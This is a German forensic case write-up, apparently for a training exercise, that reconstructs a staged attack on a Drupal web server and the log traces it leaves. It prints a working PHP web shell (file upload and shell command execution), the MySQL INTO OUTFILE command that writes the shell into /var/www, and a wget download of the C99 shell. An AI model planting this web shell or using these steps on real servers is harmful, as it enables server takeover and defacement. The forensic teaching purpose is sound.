Webserver Fall (W1/W2)
Transcription
Webserver Fall (W1/W2)
Webserver Fall (W1/W2) In diesem Fall wurde ein Webserver angegriffen und die darauf befindliche Webseite verändert. Der Angriff auf den Webserver beginnt mit einem BruteforceAngriff auf die Mysql Datenbank. Nach ca. 1000 Versuchen hat der BruteforceAngriff Erfolg. Anschließend greift der Angreifer über Phpmyadmin auf den Mysql-Server zu. Er erstellt dort eine neue Tabelle und fügt in diese PHP-Code als Text ein. Mit Mysql lassen sich Daten aus Tabellen in Dateien exportieren, diese Befehle nutzt der Angreifer um den PHP-Code in das /var/www Verzeichnis zu schreiben. Von dort kann der PHP-Code mit dem Browser ausgeführt werden. Über verschiedene PHP-Skripte wird die “index.php” des Webservers modifiziert. chronologischer Ablauf Bei der Erstellung des Abbildes wurden nicht alle Schritte exakt dokumentiert. Der hier dargestellte chronologische Ablauf ist daher nur skizzenhaft. • Installation des Basis System • Installation von Mysql, Apache, PHP und PHPMyAdmin (per apt-get) • Herunterladen der Drupal Installationsdateien (wget) Anmerkung: Drupal ist ein Content Managment System (ähnlich zu Typo3 oder Joomla!) • Entpacken der Drupal Dateien in /var/www/drupal • Installation von Drupal • Erstellen einer einfachen Webseite Impressum Preise Dienstleistungen etc. • Anpassung der Konfiguration Abschalten von App Armor Mysql Zugriffe über das Netzwerk erlauben Alle Mysql Queries mitloggen • Ein zweiter Rechner besucht regelmäßig die Webseite auf dem Webserver Damit in den Logfiles nicht nur der Angriff zu sehen ist • Mysql Bruteforce Angriff wird gestartet • Zugriff auf Phpmyadmin mit root Passwort Spuren in Apache access.log (”GET /phpmyadmin/index.php?token=8ec622bad53997a2a2159f3ad7 HTTP/1.1”200) 1 • Erstellen der Tabelle “hacked” Query CREATE TABLE ‘drupal‘.‘hacked‘ (‘code‘ TEXT NOT NULL) ENGINE = MyISAM • Einstellen von PHP-Code in Tabelle hacked INSERT INTO ‘drupal‘.‘hacked‘ (‘code‘) VALUES (’<? $sendfile = $_REQUEST["sendfile"]; $cmd = $_REQUEST["-cmd"]; if($sendfile == "true") { $fn = $_FILES["file"]["name"]; $tn = $_FILES["file"]["tmp_name"]; if(move_uploaded_file( $tn , dirname(__FILE__) . "/" . $fn ) ) $result = " <br> <font color = green> upload done </p>"; else $result = "<br><font color = red> upload failed </p>" ; } ?> <html> <body> <form method=POST> <input type=TEXT name="-cmd" size=64 value="<?= $cmd ?>"> </form > <form enctype="multipart /form -data" method = "post" action = " "> < input type=file name=file size=20 > < input type="submit" value="Upload" > <input type="hidden" name="sendfile" value="true"> <?=$result?> </form> <pre> <? if($cmd != " ") echo shell_exec($cmd);?> </pre> </body> </html>’) • PHP Code von Tabelle auf Dateisystemschreiben Select * from hacked into outfile ’/var/www/hacked.php‘ • 2 Versuche sind wegen Kodierungsproblemen fehlgeschlagen insgesamt wurden die Dateien hacked.php, hacked2.php und hacked3.php auf diese Weise angelegt • Das Apache Logfile zeigt, dass auf die falsch kodierten Dateien zugegriffen wurde und diese PHP-Fehler bei der Ausführung gezeigt hat. • Aus der PHP-Shell wird per wget eine C99.php Shell heruntergeladen C99.php ist eine komfortable Remoteshell, das Skript aus der Datenbank ist lediglich eine minimale Shell • In Apache Access Log kann nachvollzogen werden, dass über die C99.php Shell die Datei index.php aufgerufen wird. Die Zeitstempel der Zugriffszeit von Apache und letzter Änderungszeit der “index.php” stimmen überein. 2